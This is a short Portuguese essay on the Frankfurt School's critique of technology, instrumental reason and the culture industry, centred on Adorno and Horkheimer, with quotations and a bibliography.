Tecnologia e dominação ideológica na Escola de Frankfurt
Ricardo Ernesto Rose
Jornalista, Graduado em Filosofia e Pós-Graduando em Sociologia
A Escola de Frankfurt foi formada por intelectuais cuja linha de pensamento estava fortemente
influenciada pelas teorias de Karl Marx. No entanto, estes
pensadores – entre eles filósofos, economistas, sociólogos, psicólogos, teólogos e musicólogos – não foram simples repetidores das
teorias marxianas. Incorporaram às suas análises – além dos aspectos
econômicos – a questão da tecnologia, da indústria cultural, da psicanálise; abordando a situação do homem nas sociedades capitalistas
modernas sob diversos aspectos. Grande parte das idéias produzidas pelos integrantes da Escola de Frankfurt
teve grande influência
nas ciências humanas;
nomes como Horkheimer, Adorno,
Habermas, Marcuse, Fromm,
Benjamim e Bloch exerceram
e ainda exercem uma forte
influência na filosofia,
na
sociologia, na política,
na
literatura e
psicologia. Neste
curto texto
focaremos nossa análise
nas teorias e obras de Theodor W. Adorno e Max Horkheimer.
A produção dos membros da Escola de Frankfurt,
por sua diversidade de interesses
– basta verificar os diferentes temas abordados, por exemplo, por Horkheimer, Adorno
e Fromm – não resultou em grandes sistemas de pensamento. Trata-se
muito mais de análises temáticas, apresentadas em ensaios de algumas dezenas de páginas ou até livros inteiros. Outra razão é que uma das características
dos pensadores da Escola de Frankfurt era
a aversão intelectual à elaboração de amplos sistemas de pensamento. Adorno,
por exemplo, já em seu trabalho A atualidade da filosofia (1931), que nega a
possibilidade de o pensamento filosófico perscrutar a realidade. Com isso eliminava a
possibilidade do pensamento filosófico captar algum eventual aspecto “oculto” do mundo e
elaborar um sistema com pretensões de explicá-lo racionalmente. Escreve Adorno:
“[…] quem escolhe hoje o trabalho filosófico como profissão deve renunciar à ilusão da
qual partiam anteriormente os projetos filosóficos:
a ilusão de que, por força do
pensamento, é possível captar a totalidade do real. Nenhuma razão justificativa poderia
encontrar-se em si mesma
em uma realidade cuja ordem e
cuja forma
rejeitam e
reprimem toda pretensão da razão.” (Adorno apud Reale
& Antiseri: 1991, p. 841)
Em sua obra Dialética negativa (1966), Adorno desenvolve esta linha de pensamento com
mais profundidade e, partindo da dialética hegeliana, desenvolve sua “dialética
negativa”, que
nega a identidade entre o pensamento e a realidade.
Como consequência, também critica esta pretensão nas correntes filosóficas, como
as metafísicas tradicionais; o
idealismo; a fenomenologia; o marxismo; e, significativamente o iluminismo, que tanto
valorizava a razão como instrumento de progresso para o homem. Adorno escrevia que
era preciso denunciar a falácia dos sistemas filosóficos, “que tentam eternizar o estado presente da realidade e bloquear qualquer ação transformadora e
revolucionária.” (ibidem,
p. 842)
A partir da dialética negativa, Adorno e Max Horkheimer passariam a desenvolver uma
crítica sistemática da cultura; uma “teoria crítica da sociedade”. Uma das obras que segue esta linha de análise é o livro Eclipse da Razão, resultado de uma série de palestras
dadas por Horkheimer nos Estados Unidos e reunidas em livro em 1947. Com uma forma de apresentação característica da Escola de Frankfurt, o trabalho contem cinco ensaios tratando de temas diversos, como a razão, a ciência, a tecnologia, a democracia e o
indivíduo. Em um dos textos, Panacéias em conflito, o
tom é de crítica em relação a uma ciência instrumentalizada, usada para atender aos interesses de grupos de poder dentro
da sociedade. Escreve Horkheimer:
“A ciência hoje, sua diferença de outras forças e atividades sociais, sua divisão em áreas específicas, seus procedimentos, conteúdos e organização, só podem ser entendidos em relação com a sociedade para a qual ela funciona. A
filosofia positivista, que considera o instrumento “ciência” como o campeão automático do progresso, é tão falaciosa quanto outras glorificações da tecnologia. A tecnocracia econômica espera tudo
dos meios materiais de produção, Platão
queria transformar os filósofos em governantes; os
tecnocratas querem transformar os engenheiros em componentes do quadro de diretores da sociedade.” (Horkheimer: 1976, p.69)
Preocupado com a liberdade do indivíduo e bastante crítico
em relação à pressão que a
sociedade capitalista exerce sobre ele, principalmente através da propaganda e dos
produtos da indústria cultural, Horkheimer escreveu um dos mais contundentes parágrafos de seu livro. Interessante notar que o autor constata uma identificação cada vez maior entre os produtos da indústria
cultural –
chamada no
texto de “cultura industrial” – e
a propaganda. Outro
aspecto apontado pelo filósofo é que a cultura de massa (indústria cultural) tem
como
função justificar o
status quo:
“Assim como a criança repete as palavras da mãe, e os
mais jovens repetem as
maneiras
grosseiras dos mais
velhos
que
os submetem, assim o
alto-falante gigantesco da
cultura industrial, berrando através da recreação comercializada e dos anúncios populares – que cada vez menos se distinguem uns dos outros – replicam
infinitamente a superfície
da realidade.
Todos os engenhosos artifícios da indústria de
diversão reproduzem continuamente cenas banais da vida, que são ilusórias, contudo, pois a
exatidão técnica da
reprodução mascara a falsificação do conteúdo.
Essa reprodução nada tem em comum com a grande arte realista, que retrata a realidade
a fim de julgá-la. A moderna
cultura de massas, embora sugando
livremente cediços
valores culturais,
glorifica o mundo
como ele é. Os filmes, o rádio, as biografias e os
romances populares têm todos o mesmo refrão: esta é a nossa trilha, a rota do que é
grande e do que pretende ser grande – esta
é a realidade como ela é, como deve ser, e será.
(ibidem, p. 153 –
negrito nosso)
Juntos,
Horkheimer e Adorno desenvolverão sua teoria crítica
no
livro Dialética do
Iluminismo, obra que concentra uma
forte
crítica cultural à
sociedade
capitalista. Em nossa concepção, esta crítica pode ser dividida em dois principais aspectos: a) no aspecto cultural, através do conceito de “racionalização do mundo”; e b) no aspecto sócio-político,
o conceito de razão instrumental. O conceito de “racionalização do mundo” tem a ver com a maneira
como Horkheimer e Adorno entendem o conceito de “iluminismo”.
Para os autores o iluminismo não se refere somente ao movimento filosófico-cultural do século XVIII, mas tem origens muito mais antigas. Consideram que o processo teve início já na
Grécia Antiga,
quando os primeiros pensadores tentaram interpretar racionalmente o
mundo, tornando-o
manipulável
pelo homem.
A partir
deste período da
história, a crescente racionalização do mundo – pela ciência e tecnologia – só aumentou,
até
chegar aos nossos dias. Todavia,
durante este processo o iluminismo sofreu uma
deformação: passou a prevalecer a idéia de que o saber é mais técnica do que crítica. Assim, nossa cultura perdeu a confiança na razão objetiva; o que importa não é veracidade da teoria, mas sua funcionalidade. A razão deixou de ser objetiva, para se transformar
em
simples instrumento para determinado fim: a maior dominação do mundo e do homem. Escrevem Reale
e Antiseri:
“Em outros termos, a razão é pura razão instrumental.
Ela
é inteiramente incapaz de fundamentar
ou
propor em discussão os objetivos
ou finalidades
com que os homens orientam suas próprias vidas. A razão é razão instrumental
porque só pode identificar, construir e aperfeiçoar os instrumentos ou meios adequados para alcançar fins
estabelecidos e controlados
pelo “sistema”. Nós vivemos em sociedade totalmente administrada, na qual “a condenação
natural dos homens é hoje inseparável do progresso social” (Reale e Antiseri: 1991, p. 844 – negrito nosso)
Evidentemente a razão instrumentalizada não é como é per se; os “fins estabelecidos e controlados pelo sistema” que atende, interessam a determinados grupos de poder. Desta forma, são estas forças que ao longo da história instrumentalizam a razão em seu próprio
interesse. Assim sendo, a razão –
pelo menos aquela que em grande parte informa a
ciência e, principalmente, a tecnologia – não pode ter veleidades de ser objetiva. É,
isto
sim,
uma ideologia que
atende aos
interesses
de
grupos
sociais.
O esquema
de dominação funciona grosso
modo
esquematicamente da seguinte maneira:
Razão instrumentalizada (RI) → Ciência →Tecnologia →Economia →Dominação
→ RI →Ciência →Tecnologia …
O sistema
de
dominação esquematizado
acima, mantido
o status
quo, tende a permanecer inalterado.
Um dos
principais instrumentos
para sustentar esta estrutura
ao longo
do
tempo é indústria cultural, à qual nos já referimos em trecho anterior deste texto. No livro Dialética
do Esclarecimento, Adorno e Horkheimer fazem uma análise crítica
de diversos aspectos
da sociedade, ocultados
por ideologias
inerentes
ao
“sistema”,
incluindo
a indústria
cultural. Sobre esta
escrevem os autores:
“Os produtos da indústria cultural podem ter a certeza de que até mesmo os distraídos vão
consumi-los alertamente.
Cada qual é um modelo da gigantesca maquinaria econômica que, desde o início, não dá folga a ninguém, tanto no trabalho,
quanto no descanso, que tanto se assemelha ao trabalho. É possível depreender de qualquer filme sonoro, de qualquer emissão de rádio, o impacto que não se poderia atribuir
a nenhum
deles isoladamente, mas só a todos em conjunto na sociedade. Inevitavelmente, cada
manifestação da indústria cultural reproduz as pessoas tais como as modelou a indústria
em seu
todo” (Adorno &
Horkheimer: 2006, p. 105).
Assim sendo, a tecnologia e a dominação ideológica têm uma relação íntima, segundo a análise da Escola de Frankfurt. A tecnologia é produto da pesquisa científica, que por sua
vez
é dirigida por uma razão instrumentalizada. Esta
reflete a visão de mundo e os fins de grupos de poder que têm forte influencia na sociedade. Segundo Marx (cujas idéias
também são compartilhadas pela Escola de Frankfurt), estes grupos são exatamente aqueles que dominam os meios de produção, isto é,
detêm o poder econômico. Para continuar mantendo seu poder,
as elites dominantes elaboram a ideologia
que informa a
razão instrumentalizada.
Esta por sua vez condiciona a ciência, que por sua vez é “materializada” pela tecnologia…
E assim se realimenta indefinidamente o sistema
de dominação, até que rupturas – guerras, revoluções, inovações tecnológicas com
conseqüências imprevisíveis, crises
econômicas, etc. – possam romper este
círculo vicioso.
Bibliografia:
ADORNO, Theodor W., HORKHEIMER, Max. Dialética do esclarecimento. Rio de Janeiro. Jorge Zahar Editor: 2006,
223 p.
REALE, Giovanni, ANTISERI Dario. História da filosofia – Vol. III. São Paulo. Paulus
Editora: 1991, 1113
p.
HORKHEIMER, Max. Eclipse da razão.
Rio de Janeiro. Editorial Labor do
Brasil: 1976, 198
p.
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